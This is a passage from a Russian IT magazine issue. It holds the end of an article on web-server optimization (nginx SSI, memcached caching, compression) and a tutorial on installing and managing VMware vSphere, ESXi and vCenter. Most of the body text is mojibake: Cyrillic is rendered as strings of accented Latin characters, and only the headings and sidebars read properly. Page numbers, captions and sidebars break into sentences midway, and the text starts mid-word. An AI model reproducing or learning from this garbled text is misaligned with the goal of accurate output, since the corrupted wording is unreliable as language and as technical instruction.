ñèòóàöèè.Ïðîáëåìó ìîæåò ðåøèòü ïîêðûòàÿ ìõîì è ïàóòèíîé òåõíîëîãèÿ ïîäíàçâàíèåì SSI (Server Side Includes). SSI ïîçâîëÿåò ðàçáèòü âåá-ñòðàíèöóíà íåñêîëüêî áëîêîâ, êîòîðûå áóäóò ñîáðàíû ôðîíò-ýíäîì âîåäèíî âìîìåíò îáðàáîòêè çàïðîñà êëèåíòà. Íàïðèìåð, èñïîëüçóÿ SSI, òû äåëèøüãëàâíóþ ñòðàíèöó âåá-ñàéòà íà äâå ÷àñòè:# vi /var/www/index.phpmemcachedÏðè íàëè÷èè äîñòàòî÷íî áîëüøèõ îáúåìîâ ïàìÿòè õîðîøåéïðàêòèêîé áóäåò çàïóñê äåìîíà memcached ñ ôëàãîì '-L'. ðåçóëüòàòå äåìîí çàðàíåå ïîäãîòîâèò ê èñïîëüçîâàíèþâñþ âûäåëåííóþ åìó ïàìÿòü. Ýòî íåìíîãî ïîäíèìåò îáùóþïðîèçâîäèòåëüíîñòü ðàáîòû memcached çà ñ÷åò èñêëþ÷åíèÿíåîáõîäèìîñòè ïðîèçâîäèòü ïîñòîÿííûå âûäåëåíèÿ ïàìÿòèâî âðåìÿ ðàáîòû.Ýòî ðîâíî òà æå ñòðàíèöà, êîä àóòåíòèôèêàöèè êîòîðîé âûíåñåí â ôàéëauth.php, à âñÿ îñòàëüíàÿ ÷àñòü — â body.php. Èçþìèíêà æå çàêëþ÷àåòñÿâ òîì, ÷òî ïðèâåäåííûé âûøå â ÷åòâåðòîì øàãå êîä êýøèðîâàíèÿ òûïîìåùàåøü òîëüêî âî âòîðîé èç ýòèõ ôàéëîâ. Êàê ðåçóëüòàò âûðèñîâûâàåòñÿñëåäóþùàÿ êàðòèíà:1. ×åëîâåê ïðèõîäèò íà ñàéò â ïåðâûé ðàç. Ïðîèñõîäèò çàïðîñ ãëàâíîéñòðàíèöû âåá-ñàéòà ê nginx.2. Ñåðâåð nginx çàïðàøèâàåò ôàéë index.php ó áýê-ýíäà (Apache), âñòðå-÷àåò âíóòðè íåãî SSI-äèðåêòèâû è äåëàåò åùå *2* çàïðîñà ê áýê-ýíäó(auth.php è body.php).3. Ïîëó÷èâ çàïðîñû, Apache çàïóñêàåò PHP-èíòåðïðåòàòîð äëÿ îáðàáîòêèçàïðàøèâàåìûõ ôàéëîâ, â ðåçóëüòàòå ÷åãî (êðîìå âñåãî ïðî÷åãî) ñîäåðæèìîåòÿæåëîãî ôàéëà body.php ïîïàäàåò â êýø memcached.4. Îòâåò âîçâðàùàåòñÿ nginx, êîòîðûé îáúåäèíÿåò ôàéëû â îäèí index.php è îòäàåò èõ êëèåíòó.5. Ïîñëå ýòîãî íà ñàéò ïðèõîäèò çàðåãèñòðèðîâàííûé ó÷àñòíèê, ïðîèñõîäèòçàïðîñ index.php ó áýê-ýíäà (õîòÿ, ñêîðåå âñåãî, îí áóäåò âçÿò èç êýøàñàìîãî nginx), îäíàêî ê Apache óéäåò òîëüêî çàïðîñ ïðîñòîãî è ëåãêîãîauth.php, òîãäà êàê body.php áóäåò âçÿò èç êýøà memcached.Ñàìî ñîáîé ðàçóìååòñÿ, SSI íåîáõîäèìî àêòèâèðîâàòü â êîíôèãóðàöèîííîìôàéëå nginx ñ ïîìîùüþ îïöèè «ssi on», ïîìåùåííîé â ñåêöèþ«location /». Ñòîèò îòìåòèòü, ÷òî áëîê auth.php òàêæå ïîääàåòñÿ êýøèðîâàíèþ,íî äëÿ ýòîãî ïðèäåòñÿ ïðèñâàèâàòü âñåì çàðåãèñòðèðîâàííûìïîëüçîâàòåëÿì èäåíòèôèêàòîð, ñîõðàíÿòü åãî â êóêèñàõ è èñïîëüçîâàòüäëÿ ãåíåðàöèè óíèêàëüíîãî êëþ÷à memcached.КЛИЕНТСКАЯ ОПТИМИЗАЦИЯÝòà ñòàòüÿ ïîñâÿùåíà ñåðâåðíîé îïòèìèçàöèè âåá-ñàéòîâ, îäíàêî áûëîáû êîùóíñòâîì íå ðàññêàçàòü è î êëèåíòñêîé ÷àñòè ýòîãî ïðîöåññà. Ïîýòîìóìû êðàòêî ïðîáåæèìñÿ ïî ñïèñêó ðåêîìåíäàöèé, íàïðàâëåííûõ íàìèíèìèçàöèþ îáùåãî îáúåìà ïåðåäàâàåìûõ äàííûõ:1. Èñïîëüçóé gzip èëè deflate äëÿ ñæàòèÿ ñòðàíèö è äàííûõ. Äëÿ ýòîãîìîæíî çàäåéñòâîâàòü ìîäóëè HTTP-ñåðâåðîâ: ngx_http_gzip_module äëÿnginx, mod_compress äëÿ lighttpd è mod_deflate äëÿ Apache.2. Èñïîëüçóé óïàêîâùèêè äëÿ îïòèìèçàöèè è óäàëåíèÿ ëèøíåãî ìóñîðàèç HTML è JavaScript (îáû÷íî îíè óäàëÿþò âñå êîììåíòàðèè è ïðîáåëû,çàìåíÿþò èìåíà íà áîëåå êîðîòêèå è ò.ä., íàïðèìåð, web-optimizator,code.google.com/p/web-optimizator).3. Âûíîñè CSS è JavaScript-êîä â îòäåëüíûå ôàéëû, òîãäà îíè ñìîãóò áûòüçàêýøèðîâàíû áðàóçåðîì è ïðèìåíåíû ê äðóãèì ñòðàíèöàì (òàêæå èõìîæíî ðàçìåñòèòü íà îòäåëüíîì ñåðâåðå, ÷òîáû èõ çàãðóçêà ïðîèñõîäèëàïàðàëëåëüíî).4. Äëÿ áîëåå ïëàâíîé è êîððåêòíîé çàãðóçêè ñòðàíèöû áðàóçåðîì ðàçìåñòèçàãðóçêó CSS â íà÷àëå ñòðàíèöû, à JavaScript — â êîíöå.6. Íå çàáûâàé óñòàíàâëèâàòü çàãîëîâêè Expires è Cache-control, ÷òîáûCSS è JavaScript ìîãëè áûòü çàêýøèðîâàíû áðàóçåðîì.7. Íå ïðèìåíÿé JPG è PNG òîãäà, êîãäà ìîæíî îáîéòèñü GIF (íàïðèìåð,äëÿ ìåëêèõ èêîíîê).zXÀÊÅÐ 08 /139/ 10 131


SYN/ACKСергей «grinder» Яремчук grinder@synack.ruВиртуальнаясфераУПРАВЛЯЕМ ОБЛАКАМИ С ПОМОЩЬЮ VMWARE VSPHEREЭра персоналок с установленными программами неуклонно движетсяк закату. На пороге эпоха клиент-серверных технологий и облачных вычислений.Буквально через пару лет нам обещают убрать в облака десятуючасть приложений, но для этого нужны специальные инструменты,и кому как не VMware быть здесь первой.Ðûíîê âèðòóàëèçàöèè ðàçâèâàåòñÿ ñòðåìèòåëüíûìè òåìïàìè, çàñâåòèëèñüïðàêòè÷åñêè âñå êðóïíûå ðàçðàáîò÷èêè ÏÎ: Microsoft, OracleCorporation, Parallels, VMware è ìíîãèå äðóãèå. Î÷åâèäíî, ÷òî áîðüáàðàçãîðåëàñü íåøóòî÷íàÿ, è ñàìûé æèðíûé êóñîê ïèðîãà ñìîæåò îòîðâàòüòîò, êòî ïðåäëîæèò ÷òî-òî ïðèíöèïèàëüíî ëó÷øåå è áîëåå ôóíêöèîíàëüíîå.Ó÷èòûâàÿ, ÷òî ìíîãèå ïîëüçîâàòåëè è îðãàíèçàöèè âûáèðàþòâìåñòî ïîêóïêè ïðèëîæåíèé èõ îáëà÷íûé àíàëîã (SaaS, Software as aservice, Ïðîãðàììíîå îáåñïå÷åíèå êàê óñëóãà), îñîáîå ìåñòî ñðåäè ñèñòåìâèðòóàëèçàöèè çàíèìàþò ðåøåíèÿ, îðèåíòèðîâàííûå íà îáëà÷íûåâû÷èñëåíèÿ. Òàêèå êàê VMware vSphere.132НАЗНАЧЕНИЕ VSPHEREÎôèöèàëüíî èñòîðèÿ VMware vSphere (www.vmware.com/products/vsphere) íà÷àëàñü ÷óòü áîëüøå ãîäà íàçàä, â êîíöå àïðåëÿ 2009 ãîäà.Ðåøåíèå âîçíèêëî íå íà ïóñòîì ìåñòå, à ïðèøëî íà ñìåíó ïëàòôîðìåâèðòóàëèçàöèè VMware Virtual Infrastructure, íàðàáîòêè êîòîðîé è áûëèèñïîëüçîâàíû. vSphere ïîçâîëÿåò áûñòðî ðàçâåðíóòü íàäåæíóþ îòêàçîóñòîé÷èâóþèíôðàñòðóêòóðó, îáúåäèíèòü âèðòóàëüíûå ñèñòåìû, ñåòè èõðàíèëèùà â åäèíûå ïóëû ðåñóðñîâ, ñäåëàòü ðàáî÷óþ ñðåäó ìàêñèìàëüíîóñòîé÷èâîé è óïðàâëÿåìîé. Ìíîãèå ñïåöèàëèñòû íàçûâàþò åå ïåðâîéèñòèííî îáëà÷íîé îïåðàöèîíêîé. È âîò ïî÷åìó. Ñåãîäíÿ ÷òîáû ïðèëîæåíèåçàðàáîòàëî â îáëà÷íîé ñðåäå Google, Microsoft Azure èëè Amazon, åãîêîä íóæíî ïåðåïèñàòü äëÿ íèõ, ëèáî ñîçäàòü ñ íóëÿ. vSphere æå ïðèçâàíàïåðåíåñòè èñïîëíåíèå ïðèëîæåíèé â îáëàêî ìàêñèìàëüíî åñòåñòâåííûìè áåçáîëåçíåííûì äëÿ ïðîãðàììèñòà, àäìèíèñòðàòîðà è ïîëüçîâàòåëÿîáðàçîì. Òå ïðîãðàììû, êîòîðûå óæå ñåé÷àñ ðàáîòàþò ïîä óïðàâëåíèåìÏÎ VMware, ôàêòè÷åñêè îêàçûâàþòñÿ ãîòîâûìè ê ìèãðàöèè â îáëàêî áåçíóæäû â êàêèõ áû òî íè áûëî ïàò÷àõ è ìîäèôèêàöèÿõ.Ñïèñîê âîçìîæíîñòåé ïðîäóêòà î÷åíü áîëüøîé, âûäåëèì òîëüêî ñàìûåïðèìå÷àòåëüíûå èç íèõ:• VMware vStorage Thin Provisioning — ýêîíîìèÿ äèñêîâîãî ïðîñòðàíñòâà;èñïîëüçóåòñÿ òîëüêî ðåàëüíî íåîáõîäèìûé îáúåì;• VMware VMsafe — âûñîêîíàäåæíàÿ êëàñòåðíàÿ ôàéëîâàÿ ñèñòåìà,èñïîëüçóåìàÿ äëÿ õðàíåíèÿ âèðòóàëüíûõ ìàøèí;• VMware API vStorage è vCenter Data Recovery — öåíòðàëèçîâàííîåðåçåðâíîå êîïèðîâàíèå è âîññòàíîâëåíèå VM èç ãðàôè÷åñêîé êîíñîëè;• VMware Hot Add — «ãîðÿ÷åå äîáàâëåíèå» óñòðîéñòâ áåç îñòàíîâêèâèðòóàëüíîé ìàøèíû;• VMware Distributed Power Management — óïðàâëåíèå ýëåêòðîïîòðåáëåíèåì,ïîçâîëÿþùåå ñóùåñòâåííî ñîêðàòèòü ðàñõîäû;• VMware Host Profiles — èíòåðôåéñ óïðàâëåíèÿ, ïîçâîëÿþùèé öåíòðàëèçîâàííîíàñòðàèâàòü óçëû VMware ESX/ESXi è êîíòðîëèðîâàòü óñòàíîâêèíà ñîîòâåòñòâèå ïîëèòèêàì. Ïëþñóåì ñþäà êîìïîíåíò vNetwork,îáåñïå÷èâàþùèé öåíòðàëèçîâàííîå óïðàâëåíèå âèðòóàëüíîé ñåòüþ,ñðåäñòâà «ãîðÿ÷åé» ìèãðàöèè — VMware VMotion, êëàñòåðèçàöèè —High Availability è âûñîêîé äîñòóïíîñòè — Fault Tolerance, áàëàíñèðîâêèíàãðóçêè — VMware DRS, à òàêæå ïîääåðæêó òåõíîëîãèè ïåðåìåùåíèÿâèðòóàëüíûõ äèñêîâ — Storage VMotion. Ïðè÷åì ýêîíîìèÿ ïðè èñïîëüçîâàíèèvSphere äîñòèãàåòñÿ è çà ñ÷åò òîãî, ÷òî äëÿ íåêîòîðûõ îïåðàöèé(íàïðèìåð, ðåçåðâèðîâàíèÿ) óæå íå íóæíî çàêóïàòü ïðîäóêò ñòîðîííåãîðàçðàáîò÷èêà (ñêàæåì, Veeam Backup, www.veeam.com). Ïîääåðæèâàþòñÿîãðàíè÷åíèÿ â ïîòðåáëåíèè CPU, RAM êàê äëÿ ïóëîâ ðåñóðñîâ(Resource Pool), òàê è äëÿ îòäåëüíûõ õîñòîâ ñ âîçìîæíîñòüþ ãàðàíòèðîâàííîãîâûäåëåíèÿ ðåñóðñîâ (Reservation). Ïîëíûé ñïèñîê ÎÑ, íà êîòîðûõìîãóò ðàáîòàòü ðàçíûå ïðîäóêòû VMware, ïðåäñòàâëåí íà ñòðàíèöåVMware Compatibility Guide, çàÿâëåíà ïîääåðæêà âñåõ ïîïóëÿðíûõ ñåãîäíÿñèñòåì — Windows è âàðèàíòû *nix.  vSphere, ïî ñðàâíåíèþ ñ VirtualInfrastructure, èçìåíèëñÿ è ïîðÿäîê ëèöåíçèðîâàíèÿ, êîòîðûé ñòàë ÷óòüãèá÷å, òàê êàê òåïåðü ëèöåíçèÿ ðàññ÷èòûâàåòñÿ ïî ÷èñëó ïðîöåññîðîâ (èõêîëè÷åñòâî âáèâàåòñÿ â êëþ÷); ðàíåå ïðèâÿçêà øëà ê ïàðå CPU. Ïðè÷åìåñëè êîëè÷åñòâî ÿäåð íå ïðåâûøàåò 6 (â âåðñèÿõ Advanced è EnterprisePlus — 12), òî äîïîëíèòåëüíàÿ îïëàòà íå ïîòðåáóåòñÿ.  ðàçãàð êðèçèñàòàêîé ïîäõîä òîëüêî ïðèâåòñòâóåòñÿ, âåäü ïðè ïðèíÿòèè ðåøåíèÿ î ïåðåõîäåíà âèðòóàëüíûå ìàøèíû ó÷èòûâàþòñÿ äåñÿòêè êðèòåðèåâ.VMware vSphere ñîñòîèò èç ñëåäóþùèõ êîìïîíåíòîâ:• ãèïåðâèçîðîâ VMware ESX è/èëè VMware ESXi (ñîáñòâåííî íà íèõ âñå èðàáîòàåò);• VMware vCenter Server Agent, îáåñïå÷èâàþùåãî ïîäêëþ÷åíèå ãèïåðâèçîðîâê öåíòðó óïðàâëåíèÿ VMware vCenter Server (ðàíåå — VMwareVirtualCenter Server);• ñàìîãî vCenter Server, îòâå÷àþùåãî çà ðàçâåðòûâàíèå, öåíòðàëèçîâàííûéìåíåäæìåíò è îáåñïå÷åíèå äîñòóïà (ïðèîáðåòàåòñÿ îòäåëüíî);• ïðî÷èõ êîìïîíåíòîâ, îáåñïå÷èâàþùèõ îñíîâíûå âîçìîæíîñòè, ñîñòàâêîòîðûõ âàðüèðóåòñÿ â çàâèñèìîñòè îò âûáðàííîé ëèöåíçèè.Íà ìîìåíò íàïèñàíèÿ ýòèõ ñòðîê íà ñàéòå VMware ïîÿâèëàñü âåðñèÿvSphere 4 update 2, åå è áóäåì ïðåïàðèðîâàòü.РАЗВЕРТЫВАНИЕ VSPHEREÏîêà ÷èòàåøü îïèñàíèå, ïåðâàÿ ìûñëü, êîòîðàÿ ïðèõîäèò â ãîëîâóíîâè÷êó — ýòî î÷åíü ñëîæíî. Íà ñàìîì äåëå ïðè âíèìàòåëüíîì ïîäõîäåè âûïîëíåíèè âñåõ òðåáîâàíèé ïðîöåññ ðàçâåðòûâàíèÿ è ïîñëåäóþùåãîäîáàâëåíèÿ õîñòîâ è VM âåñüìà ïðîçðà÷åí.XÀÊÅÐ 08 /139/ 10


×òîáû óñòàíîâèòü vSphere, íàäî âûïîëíèòü ðÿä òðåáîâàíèéè ïðîéòè íåñêîëüêî øàãîâ:• ñâåðèòü èìåþùååñÿ îáîðóäîâàíèå ñî ñïèñêîì VMwareHardware Compatibility List;• ïðîèíñòàëëèðîâàòü VMware vSphere ESX/ESXi Server íàôèçè÷åñêèõ ñåðâåðàõ (2õ2 Ãö 64 bit CPU, 2+ Ãá RAM, 2+ ÃáHDD);• óñòàíîâèòü VMware vCenter Server è vSphere Client äëÿóïðàâëåíèÿ ESX(i)-ñåðâåðàìè;• íàñòðîèòü ñåòü õðàíåíèÿ äàííûõ SAN;• ðàçâåðíóòü êëèåíòñêèå ÎÑ â âèðòóàëüíûõ ñðåäàõ.Âûøå ïîêàçàíû òîëüêî îñíîâíûå øàãè, êàæäûé ýòàï òðåáóåòè ïðîìåæóòî÷íûõ íàñòðîåê (íàñòðîéêà ñåòè, SAN, ïðèíåîáõîäèìîñòè Active Directory è òàê äàëåå). Íåêîòîðûå èçýòèõ ìîìåíòîâ î÷åíü ïîäðîáíî îïèñàíû â äîêóìåíòàöèè,êîòîðóþ ìîæíî íàéòè ïî àäðåñó www.vmware.com/support/pubs/vs_pubs.html. Âêðàòöå ðàçáåðåì îñíîâíûå âîïðîñû ïîíàñòðîéêå è óïðàâëåíèþ vSphere, ÷òîáû íàãëÿäíî ïðåäñòàâèòü,ñ ÷åì èìååì äåëî. Íà ñòðàíèöå çàêà÷êè, êîòîðàÿáóäåò äîñòóïíà ïîñëå ðåãèñòðàöèè, âûáèðàåì äëÿ óñòàíîâêèãèïåðâèçîð ESX èëè VMware ESXi, VMware vCenter Server (ââèäå ISO-îáðàçà èëè zip-àðõèâà). Ïëþñ çäåñü æå îïöèîíàëüíûåêîìïîíåíòû: Server Heartbeat, Data Recovery (CD ISO)è vShield Zones. Äëÿ íåáîëüøèõ îðãàíèçàöèé, âåðîÿòíî,áîëüøå ïîäõîäèò áåñïëàòíàÿ ïëàòôîðìà VMware ESXi, îáëàäàþùàÿâñåìè íåîáõîäèìûìè âîçìîæíîñòÿìè. Ñíà÷àëàðàçâîðà÷èâàåì VMware ESX èëè ESXi, ó÷èòûâàÿ, ÷òî èõ îñíîâà— Linux (õîòÿ è íåñêîëüêî óðåçàííûé), óñòàíîâêó ìîæíîíàçâàòü ñòàíäàðòíîé, è ïðîáëåì îíà îáû÷íî íå âûçûâàåò.Ïðîñòî ñëåäóåì óêàçàíèÿì âèçàðäà: ïðèíèìàåì ëèöåíçèþ,íàñòðàèâàåì ñåòü è âûáèðàåì äèñê. Ïîñëå ïåðåçàãðóçêè ìûìîæåì óïðàâëÿòü ãèïåðâèçîðîì èç êîíñîëè, ÷åðåç âåá-èíòåðôåéñèëè óñòàíîâèâ vSphere Client. Ïîñëåäíèé ìîæíî ñêà-÷àòü ñ âåá-ñòðàíèöû âèðòóàëüíîé ìàøèíû, àäðåñ êîòîðîéáóäåò äîñòóïåí ïîñëå óñòàíîâêè ESX(i) èëè â vCenter.Ñëåäóþùèé øàã — óñòàíîâêà VMware vCenter íà êîìïüþòåðïîä óïðàâëåíèåì Windows. Óïîìèíàíèé î âåðñèè íà ñàéòåíàéòè íå óäàëîñü, íî öåíòð áåç ïðîáëåì âñòàë êàê íà XP, òàêè íà 2k8R2. Âñå äàííûå vCenter õðàíèò â áàçå äàííûõ, äëÿíåáîëüøèõ ñðåä (5 ôèçè÷åñêèõ, 50 âèðòóàëüíûõ ìàøèí)ìîæíî èñïîëüçîâàòü Microsoft SQL Server 2005 Express,êîòîðûé èäåò ñ óñòàíîâî÷íûì àðõèâîì è ïðåäëàãàåòñÿïî óìîë÷àíèþ. Èíà÷å â ïðîöåññå óñòàíîâêè íóæíî áóäåòíàñòðîèòü ïîäêëþ÷åíèå ê ÑÓÁÄ. Åñëè õîñòîâ íå ìíîãî (äî250), òî ìîæíî îáîéòèñü è 32-áèòíîé âåðñèåé. Ðåçþìå: äëÿíåáîëüøîãî êîëè÷åñòâà ñåðâåðîâ äîñòàòî÷íî êëèåíòñêîé32-áèòíîé XP ñ áåñïëàòíûì SQL Express, â áîëåå ìîùíûõêîíôèãóðàöèÿõ ïðèäåòñÿ ðàçâîðà÷èâàòü ñåðâåð ñ 64-áèòíîéÎÑüþ è SQL-ñåðâåðîì.Ñêà÷èâàåì ISO-îáðàç èëè zip-àðõèâ,çàïóñêàåì óñòàíîâî÷íûé ôàéë è â îêíå ìàñòåðà âûáèðàåìññûëêó vCenter Server. Ê ñëîâó, àðõèâ ñîäåðæèò äèñòðèáóòèâûè íåêîòîðûõ äðóãèõ ïðîäóêòîâ: vSphere Client, vCenterGuided Consolidation, vCenter Update Manager, vCenterConverter, vCenter Orchestrator è VMware ConsolidatedBackup. ßçûê èíñòàëëÿòîðà — àíãëèéñêèé. Âî âðåìÿèíèöèàëèçàöèè óñòàíîâî÷íîãî ñêðèïòà áóäóò ïðîèçâåäåíûïðîâåðêè íà ñîâìåñòèìîñòü è, â ñëó÷àå íåñîîòâåòñòâèÿ, âûäàíûðåêîìåíäàöèè. Íàïðèìåð, òàê êàê vCenter èñïîëüçóåòñâîé âåá-ñåðâåð, îí áóäåò êîíôëèêòîâàòü ñ óñòàíîâëåííûìIIS ïî ïîðòàì. Õîòÿ â ïðîöåññå ìîæíî èçìåíèòü íàñòðîéêè,óêàçàâ ïîðò ïî óìîë÷àíèþ äëÿ áîëüøèíñòâà ñåðâèñîâ: http,https, LDAP, SSL, heartbeat. Ïàêåò ñàìîäîñòàòî÷åí, åñëè ÷åãîòîáóäåò íå õâàòàòü, âñå íåîáõîäèìîå (.Net, J# è äð.) ìàñòåðäîóñòàíîâèò àâòîìàòè÷åñêè. Íåñêîëüêî ñåðâåðîâ vCenterìîæíî îáúåäèíèòü â ñâÿçàííóþ ãðóïïó (Linked Mode) èóïðàâëÿòü çàòåì âñåìè íàñòðîéêàìè âèðòóàëüíûõ ìàøèí ñëþáîãî êîìïà â ñåòè. Ïî óìîë÷àíèþ ïðåäëàãàåòñÿ standaloneóñòàíîâêà, íî óñòàíîâèâ íà øàãå «vCenter Server LinkedMode Options» ïåðåêëþ÷àòåëü â ïîëîæåíèå «Join a VMwarevCenter Server group ...» ìû ìîæåì ñðàçó ïîäêëþ÷èòüñÿ ê óæåñóùåñòâóþùåé ãðóïïå ñåðâåðîâ vCenter. Âîò, ñîáñòâåííî, èâñÿ óñòàíîâêà ñåðâåðà. Íåêîòîðîå âðåìÿ æäåì, ïîêà ìàñòåðíàñòðîèò ñåðâèñû, ñãåíåðèðóåò ñåðòèôèêàòû è ñêîïèðóåòôàéëû. Ïî îêîí÷àíèè àíàëîãè÷íî óñòàíàâëèâàåì îñòàëüíûåêîìïîíåíòû, äîñòóïíûå â îêíå vCenter Installer, åñëè, êîíå÷íî,â ýòîì åñòü íåîáõîäèìîñòü. Îïÿòü æå, èõ íåîáÿçàòåëüíîñòàâèòü íà îäèí è òîò æå êîìï, õîòÿ òàê îáû÷íî óäîáíåå.Ïðè óñòàíîâêå vCenter Update Manager (vCUM) óêàçûâàåìIP-àäðåñ ñåðâåðà vCenter è ó÷åòíûå äàííûå äëÿ äîñòóïà. Âêà÷åñòâå áàçû äàííûõ, ê êîòîðîé íåîáõîäèìî ïîäêëþ÷èòüñÿ,HTTP://WWWlinks• Страница VMwarevSphere — vmware.com/products/vsphere• Документация поустановке различныхкомпонентов vSphere— vmware.com/support/pubs/vs_pubs.html.• Проверить64-битность CPUхостовможно припомощи утилиты CPUIdentification, размещеннойна страницеwww.vmware.com/download/shared_utilities.html.XÀÊÅÐ 08 /139/ 10 133


SYN/ACKУстанавливаем VMware ESXiВыбираем standalone-вариант установки vCenterServerÑåðâåð, êîòîðûé áóäåò èñïîëüçîâàòüñÿ äëÿ âèðòóàëèçàöèè,äîëæåí èìåòü îáîðóäîâàíèå, ñîâìåñòèìîå ñ VMwareHardware Compatibility List (vmware.com/go/hcl). Äîñòóïíûè íåîôèöèàëüíûå ñïèñêè îáîðóäîâàíèÿ, ïîäõîäÿùåãîäëÿ òåñòîâûõ è äåìî-óñòàíîâîê: VM Help (vm-help.com/esx40i/esx40_whitebox_HCL.php), VMware's CommunitiesList (communities.vmware.com/cshwsw.jspa) è Ultimate ESXWhitebox (ultimatewhitebox.com).Онлайн-сервис VMware Go позволяет быстровиртуа лизировать сервераóêàçûâàåì ñîçäàííóþ ðàíåå ÁÄ. Âíèìàíèå: ïðè çàïðîñå ïàðîëÿ â îêíå«Database Information» ïîëå îñòàâëÿåì ïóñòûì, â ýòîì ñëó÷àå áóäåò èñïîëüçîâàíàWindows-àóòåíòèôèêàöèÿ. Êàòàëîã, êóäà áóäóò ïîìåùàòüñÿîáíîâëåíèÿ, ëó÷øå ðàñïîëîæèòü íà îòäåëüíîì ðàçäåëå õàðäà, êîòîðûéèìååò äîñòàòî÷íî ñâîáîäíîãî ìåñòà (íå ìåíåå 20 Ãá). Åãî è óêàçûâàåìíà øàãå Destination Folder äëÿ «Configure the location for downloadingpatches». Êëèåíòñêàÿ ÷àñòü vSphere Client, ïðè ïîìîùè êîòîðîé ïðîèçâîäÿòñÿâñå íàñòðîéêè, îáû÷íî ñòàâèòñÿ íà êîìï àäìèíà (ìèíèìàëüíûåñèñòåìíûå òðåáîâàíèÿ: Pentium II 300, 200 Ìá RAM è 1 Ãá HDD).ДОБАВЛЕНИЕ УЗЛОВ И ЛИЦЕНЗИЙÓñòàíîâêà çàêîí÷åíà. Îòêðûâàåì èç ìåíþ vSphere Client, ââîäèì ëîãèí èïàðîëü (ôëàæîê Use Windows session credential ïîçâîëèò ïîäêëþ÷èòüñÿ ñÓïðàâëåíèå ïðè ïîìîùèPowerShellÊàêèå áû àðãóìåíòû íè ïðèâîäèëè ñòîðîííèêè GUI, íî ïðèóïðàâëåíèè áîëüøèì êîëè÷åñòâîì ñèñòåì ëó÷øå êîìàíäíîéñòðîêè ñðåäñòâà íåò. Èñïîëüçóÿ ñêðèïòû, ìîæíî àâòîìàòèçèðîâàòüáîëüøóþ ÷àñòü ðóòèííûõ çàäà÷, íå ïðîïèñàííûõâ GUI. Ðàçðàáîò÷èêè VMware ïðåäëàãàþò äîïîëíåíèå êPowerShell — PowerCLI (vmware.com/go/powercli). Ïîñëåóñòàíîâêè áóäåò äîñòóïåí ðÿä êîìàíäëåòîâ, îñíîâíûå èçêîòîðûõ — Connect-VIServer, Get-VM è Get-VICommand. Ïîðÿäîêðàáîòû ñ íèìè íå îòëè÷àåòñÿ îò äðóãèõ êîìàíäëåòîâPowerShell. Äëÿ òåõ, êîìó ëåíü ïèñàòü ñêðèïòû ñàìîñòîÿòåëüíî,ïðåäëîæåí ðåêîðäåð ìàêðîñîâ VMware Project Onyx(blogs.vmware.com/vipowershell/2009/11/project-onyx-ishere.html),óìåþùèé ãåíåðèòü PowerShell-ñêðèïòû, çàïèñûâàÿäåéñòâèÿ ïîëüçîâàòåëÿ â VMware vSphere Client.Èíôîðìàöèÿ ïî ðàáîòå ñ PowerCLI äîñòóïíà â áëîãå blogs.vmware.com/vipowershell.134òåêóùèìè ó÷åòíûìè äàííûìè), ïðèíèìàåì ñåðòèôèêàò.Ïîÿâèâøååñÿ îêíî êëèåíòà âûïîëíåíî â ñòèëå Ïðîâîäíèêà. Ñëåâà âûáèðàþòñÿêîìïüþòåðû, ñïðàâà íàñòðîéêè, âíèçó ïàíåëü òåêóùèõ çàäà÷.Îáðàòè âíèìàíèå íà ñòðîêó àäðåñà. Ïîñëå ïåðâîé ðåãèñòðàöèè òû ïîïàäàåøüâî âêëàäêó íàñòðîåê ÎÑ â «Home Inventory Host and Clusters»,à îíè íàì ïîêà íå íóæíû. ×òîáû ïîëó÷èòü äîñòóï êî âñåì âîçìîæíîñòÿìvSphere, ïðîñòî ïåðåõîäèì â «Home».Îáëàñòü óïðàâëåíèÿ ðàçäåëåíà íà òðè ÷àñòè ïî íàçíà÷åíèþ:• Inventory — ïîèñê ñèñòåì, äîáàâëåíèå óçëîâ è êëàñòåðîâ, datacenter,óïðàâëåíèå ðàçðåøåíèÿìè;• Administration — óïðàâëåíèå ðîëÿìè, ñåññèÿìè, ëèöåíçèÿìè, íàñòðîéêàìèvSphere, ïðîñìîòð æóðíàëà è ñòàòóñà ðàáîòû ñåðâèñà;• Management — óïðàâëåíèå çàäà÷àìè, âûâîä ñîáûòèé è êàðòûâèðòóàëü íûõ ìàøèí, ñîçäàíèå ïðîôèëåé õîñòîâ.Ó÷èòûâàÿ íåáîëüøîå êîëè÷åñòâî ïîäïóíêòîâ â êàæäîì èç íèõ, âðåìåíèíà çíàêîìñòâî ñ èíòåðôåéñîì óéäåò íåìíîãî. Íå ìîãó íå îòìåòèòüíàëè÷èå âñÿ÷åñêèõ ïîäñêàçîê è ìàñòåðîâ; åñëè íå âûïîëíåí êàêîé-íèáóäüîáÿçàòåëüíûé øàã, òî ñðàçó ïîëó÷èøü ññûëêó è ðåêîìåíäàöèè, ÷òîäåëàòü. Èíòåðôåéñ «çàäà÷à-îðèåíòèðîâàííûé», òî åñòü àäìèí ÷òî-òî íàñòðàèâàåò,à vSphere ïî ìåðå âîçìîæíîñòåé ïîñëåäîâàòåëüíî âûïîëíÿåòçàäà÷è. Ãëàâíîå — íå íóæíî æäàòü, ïîêà âûïîëíèòñÿ îäíà çàäà÷à, ÷òîáûíàñòðîèòü ñëåäóþùèé ïóíêò. Áîëüøèíñòâî îïåðàöèé òðåáóþò íåêîòîðîãîâðåìåíè è ïðîèñõîäÿò â ôîíå, ïîýòîìó îòñëåæèâàé ñòàòóñ âíèçó îêíà.Âñïëûâàþùåå îêíî ñðàçó æå ïîêàçûâàåò êîëè÷åñòâî äíåé, îñòàâøèõñÿ äîîêîí÷àíèÿ ïðîáíîãî ïåðèîäà. Åñëè ëèöåíçèÿ óæå ïðèîáðåòåíà, òî ñàìîåâðåìÿ åå ââåñòè. Ïåðåõîäèì â «Administration Licensing», âûáèðàåìñèñòåìó è â êîíòåêñòíîì ìåíþ ïóíêò «Manage vSphere Licenses». Êîïèðóåìâ îêíî ëèöåíçèþ è íàæèìàåì «Add License Keys». ×òîáû ñîïîñòàâèòüêëþ÷ êîíêðåòíîìó ñåðâåðó, ïåðåõîäèì â «Assign Licenses» èëè âêîíòåêñò íîì ìåíþ âûáèðàåì «Change License Key».Òåïåðü ñàìîå ãëàâíîå — ïîäêëþ÷åíèå ESX(i). Ñíà÷àëà ñîçäàåìDataCenter, áåç ýòîãî øàãà äàëüøå ìû âñå ðàâíî íå ïîéäåì. Ùåëêàåì ïî«DataCenter» è âûáèðàåì ññûëêó «Add a host». Ïîÿâëÿåòñÿ î÷åðåäíîéâèçàðä, â ïåðâîì îêíå êîòîðîãî ââîäèì èìÿ èëè IP óçëà è 